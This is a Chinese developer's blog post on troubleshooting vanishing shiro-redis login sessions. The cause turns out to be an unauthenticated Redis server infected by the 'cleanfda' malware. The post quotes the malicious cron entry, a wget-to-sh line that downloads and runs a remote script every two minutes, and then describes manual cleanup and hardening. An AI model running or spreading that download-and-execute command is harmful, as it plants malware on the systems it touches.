背景:项目使用shiro-redis管理登录状态,项目上线后,用户经常抱怨APP需要反复登录。
排查问题:项目中session的过期时间都是负数,也就是永不过期。这就很奇怪了。登录服务器查看redis缓存:
127.0.0.1:6379> keys shiro*
1) "shiro:session:1da60618-accf-404a-b426-a765b66aaa24"
2) "shiro:session:68b437d4-89e0-407c-98d8-2063a236cc39"
3) "shiro:session:fa10aca2-6715-43f5-acda-833420be3104"
4) "shiro:session:15df980b-d050-4739-afb2-562cd5a6d55a"
5) "shiro:session:d6121e42-658b-4033-a03d-ecd110bf7cb2"
127.0.0.1:6379> ttl shiro:session:d6121e42-658b-4033-a03d-ecd110bf7cb2
(integer) -1
缓存确实没有过期时间,但再次查看:
127.0.0.1:6379> keys shiro*
1) "shiro:session:1da60618-accf-404a-b426-a765b66aaa24"
2) "shiro:session:68b437d4-89e0-407c-98d8-2063a236cc39"
少了很多数据!
跳过排查过程,直接上结论吧:redis未设置最大内存,内存不足,触发了清理程序!
查看最大内存:
127.0.0.1:6379> config get maxmemory
1) "maxmemory"
2) "0"
解决方法:设置最大内存,在redis.conf中修改:
maxmemory 200M
问题似乎解决了,缓存键值达到300多个,而且重复查看不再减少。后续情况,有待观察。
306) "shiro:session:b5ddcb96-95dc-484c-95d5-c23df3eed07d"
307) "shiro:session:316c7708-4809-4ced-a4e3-afd90f28a8cc"
308) "shiro:session:ffdc27b6-bb3a-4d1e-aa85-96643d29c927"
309) "shiro:session:e5846833-fed4-483b-863b-3d68282f3bcf"
310) "shiro:session:8256ae36-79ad-4851-825b-8997ed314002"
311) "shiro:session:1d6825bb-cce2-4440-8706-5bb598b097c7"
312) "shiro:session:18099c33-ad1d-4704-b263-8c8d472496da"
313) "shiro:session:00d3fa95-43d5-4c28-aed5-cc4d59d0c31a"
314) "shiro:session:57126755-dabb-440d-8f6c-b536e3e29acf"
315) "shiro:session:d4f1a339-d29f-496a-b986-2bc69ade65e6"
316) "shiro:session:e982af81-2844-4737-a193-40474e971f36"
317) "shiro:session:1da60618-accf-404a-b426-a765b66aaa24"
318) "shiro:session:68b437d4-89e0-407c-98d8-2063a236cc39"
319) "shiro:session:fa10aca2-6715-43f5-acda-833420be3104"
320) "shiro:session:15df980b-d050-4739-afb2-562cd5a6d55a"
321) "shiro:session:d6121e42-658b-4033-a03d-ecd110bf7cb2"
————————我是分割线——————————————
果然事情没那么简单!事实证明,redis缓存超预期快速失效的原因是中毒了!执行:
keys *
发现很多"backup1","backup2"的文件。而且邮件系统提示我收到一封邮件——肯定不是招商银行信用卡的账单啦(黑一波招行信用卡,外包出去一个保险业务,三天两头打电话给我推保险,吐了,原以为这电话还算官方,也就没处理它,投诉了几波无果,直接拉黑了)。
查看邮件:
cat 邮件地址
(也可以用其他工具,我心急,没工夫去装了)
发现一溜下来几十封内容一模一样的邮件(内容是瀑布流一样显示的),提示我有一个定时任务没有执行权限,定时任务大概长这样(被我清了):
*/2 * * * * wget http://xxx.xxx.xxx.xxx/cleanfda/init.sh | sh
百度了一下cleanfda,好家伙:
结果很明显了嘛!
然后就杀毒呗。没有任何杀毒软件,纯靠手删。先删了定时任务,在/etc/下有一溜cron文件夹和文件,这是linux的定时任务文件。其他文件夹都是空的,只有crontab是个文件,且内容就是上面邮件里的那些东西,就是它了!
基本没什么问题了。然后我又找了一波backup,在/目录下发现两个文件夹,删了。之后把防火墙拉起,给redis设置密码——这是关键!